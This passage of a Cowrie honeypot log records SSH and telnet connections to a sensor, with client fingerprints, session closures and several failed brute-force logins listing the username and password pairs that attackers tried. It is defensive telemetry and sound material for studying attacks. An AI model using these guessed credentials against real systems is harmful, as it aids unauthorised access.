0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:17.945652Z","src_ip":"213.209.159.158","session":"f2bba283c2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58286,"dst_ip":"159.203.135.109","dst_port":23,"session":"b75815597a96","protocol":"telnet","message":"New connection: 107.155.66.219:58286 (159.203.135.109:23) [session: b75815597a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:18.234676Z"}
{"eventid":"cowrie.session.closed","duration":9.921488761901855,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:18.637987Z","src_ip":"198.235.24.234","session":"824fe8f600ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.175018310546875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:19.030318Z","src_ip":"107.155.66.219","session":"89e5c893f089","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":58294,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b046005b2bf","protocol":"telnet","message":"New connection: 107.155.66.219:58294 (159.203.135.109:23) [session: 4b046005b2bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:19.132581Z"}
{"eventid":"cowrie.session.closed","duration":30.955413341522217,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:20.063060Z","src_ip":"107.155.66.219","session":"70b76fecc74c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.796866416931152,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:22.024666Z","src_ip":"107.155.66.219","session":"31ff93043998","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.9464054107666,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:22.201879Z","src_ip":"107.155.66.219","session":"99d22e5d8fc3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.735302925109863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:24.157561Z","src_ip":"107.155.66.219","session":"a67378e871ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55586,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b051d57ffa8","protocol":"telnet","message":"New connection: 107.155.66.219:55586 (159.203.135.109:23) [session: 7b051d57ffa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:26.161164Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"voila","message":"login attempt [root/voila] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:27.032117Z","src_ip":"213.209.159.158","session":"f2bba283c2b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.93340516090393,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:27.061154Z","src_ip":"107.155.66.219","session":"104586f486de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55592,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ade588049e8","protocol":"telnet","message":"New connection: 107.155.66.219:55592 (159.203.135.109:23) [session: 0ade588049e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:27.730632Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55600,"dst_ip":"159.203.135.109","dst_port":23,"session":"83db4f2e5f0f","protocol":"telnet","message":"New connection: 107.155.66.219:55600 (159.203.135.109:23) [session: 83db4f2e5f0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:29.285883Z"}
{"eventid":"cowrie.session.closed","duration":"14.8","message":"Connection lost after 14.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.300321Z","src_ip":"213.209.159.158","session":"f2bba283c2b8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54686,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2984e1efc93","protocol":"ssh","message":"New connection: 213.209.159.158:54686 (159.203.135.109:22) [session: a2984e1efc93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.381426Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.177.40","src_port":48932,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4c36b6f53f4","protocol":"ssh","message":"New connection: 43.159.177.40:48932 (159.203.135.109:22) [session: f4c36b6f53f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.428394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.433661Z","src_ip":"43.159.177.40","session":"f4c36b6f53f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.519102Z","src_ip":"43.159.177.40","session":"f4c36b6f53f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mytest","password":"123456","message":"login attempt [mytest/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:30.829374Z","src_ip":"43.159.177.40","session":"f4c36b6f53f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:31.901145Z","src_ip":"43.159.177.40","session":"f4c36b6f53f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.909735202789307,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:32.031489Z","src_ip":"107.155.66.219","session":"ce73a7760652","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:32.824111Z","src_ip":"213.209.159.158","session":"a2984e1efc93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:32.827868Z","src_ip":"213.209.159.158","session":"a2984e1efc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00143003463745,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:34.633090Z","src_ip":"177.146.132.183","session":"50c851451aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.7268488407135,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:37.049975Z","src_ip":"107.155.66.219","session":"d5af1feab327","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6992347240448,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:38.028082Z","src_ip":"107.155.66.219","session":"64459d717b42","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41708,"dst_ip":"159.203.135.109","dst_port":23,"session":"781ba7edbfbb","protocol":"telnet","message":"New connection: 107.155.66.219:41708 (159.203.135.109:23) [session: 781ba7edbfbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:38.130786Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41724,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b43c866f764","protocol":"telnet","message":"New connection: 107.155.66.219:41724 (159.203.135.109:23) [session: 3b43c866f764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:39.147835Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41736,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ba0f7b83cce","protocol":"telnet","message":"New connection: 107.155.66.219:41736 (159.203.135.109:23) [session: 7ba0f7b83cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:40.175431Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41738,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e757559a764","protocol":"telnet","message":"New connection: 107.155.66.219:41738 (159.203.135.109:23) [session: 9e757559a764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:40.202136Z"}
{"eventid":"cowrie.session.connect","src_ip":"156.227.233.77","src_port":43332,"dst_ip":"159.203.135.109","dst_port":22,"session":"b5adb1b6f72f","protocol":"ssh","message":"New connection: 156.227.233.77:43332 (159.203.135.109:22) [session: b5adb1b6f72f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:41.460460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:41.465044Z","src_ip":"156.227.233.77","session":"b5adb1b6f72f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:41.625278Z","src_ip":"156.227.233.77","session":"b5adb1b6f72f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"VL!123345","message":"login attempt [root/VL!123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:42.005437Z","src_ip":"213.209.159.158","session":"a2984e1efc93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.89121437072754,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:42.046683Z","src_ip":"107.155.66.219","session":"75734c2fa0b0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.25589156150818,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:42.058688Z","src_ip":"107.155.66.219","session":"3826cd8c8fc2","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1122","message":"login attempt [ubuntu/1122] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:42.299221Z","src_ip":"156.227.233.77","session":"b5adb1b6f72f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:43.461530Z","src_ip":"156.227.233.77","session":"b5adb1b6f72f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41754,"dst_ip":"159.203.135.109","dst_port":23,"session":"87a60962905e","protocol":"telnet","message":"New connection: 107.155.66.219:41754 (159.203.135.109:23) [session: 87a60962905e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:43.562036Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":41770,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c1d65b20318","protocol":"telnet","message":"New connection: 107.155.66.219:41770 (159.203.135.109:23) [session: 6c1d65b20318]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:44.119725Z"}
{"eventid":"cowrie.session.closed","duration":"15.2","message":"Connection lost after 15.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:45.602275Z","src_ip":"213.209.159.158","session":"a2984e1efc93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":2610,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e1fbf322d1f","protocol":"ssh","message":"New connection: 213.209.159.158:2610 (159.203.135.109:22) [session: 9e1fbf322d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:45.691130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:47.803824Z","src_ip":"213.209.159.158","session":"9e1fbf322d1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:47.808516Z","src_ip":"213.209.159.158","session":"9e1fbf322d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.861005306243896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:49.095540Z","src_ip":"107.155.66.219","session":"b75815597a96","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.011908769607544,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:50.144342Z","src_ip":"107.155.66.219","session":"4b046005b2bf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":55168,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fdd0f2a6a13","protocol":"telnet","message":"New connection: 107.155.66.219:55168 (159.203.135.109:23) [session: 4fdd0f2a6a13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:51.220690Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.171.135.55","src_port":51968,"dst_ip":"159.203.135.109","dst_port":23,"session":"be9575042a82","protocol":"telnet","message":"New connection: 62.171.135.55:51968 (159.203.135.109:23) [session: be9575042a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:56.667093Z"}
{"eventid":"cowrie.session.closed","duration":30.885016441345215,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:57.046057Z","src_ip":"107.155.66.219","session":"7b051d57ffa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"107.155.66.219","src_port":35410,"dst_ip":"159.203.135.109","dst_port":23,"session":"64aa291d6e59","protocol":"telnet","message":"New connection: 107.155.66.219:35410 (159.203.135.109:23) [session: 64aa291d6e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:57.199867Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"VUcdn123","message":"login attempt [root/VUcdn123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:57.402135Z","src_ip":"213.209.159.158","session":"9e1fbf322d1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.294146299362183,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:41:58.024655Z","src_ip":"107.155.66.219","session":"0ade588049e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.280807971954346,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:00.566560Z","src_ip":"107.155.66.219","session":"83db4f2e5f0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"14.9","message":"Connection lost after 14.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:00.592534Z","src_ip":"213.209.159.158","session":"9e1fbf322d1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":54266,"dst_ip":"159.203.135.109","dst_port":22,"session":"857cf4b3fcf9","protocol":"ssh","message":"New connection: 213.209.159.158:54266 (159.203.135.109:22) [session: 857cf4b3fcf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:00.688712Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51252,"dst_ip":"159.203.135.109","dst_port":22,"session":"34162d46c1ab","protocol":"ssh","message":"New connection: 159.203.92.129:51252 (159.203.135.109:22) [session: 34162d46c1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:01.700442Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T06:42:01.706430Z","src_ip":"159.203.92.129","session":"34162d46c1ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-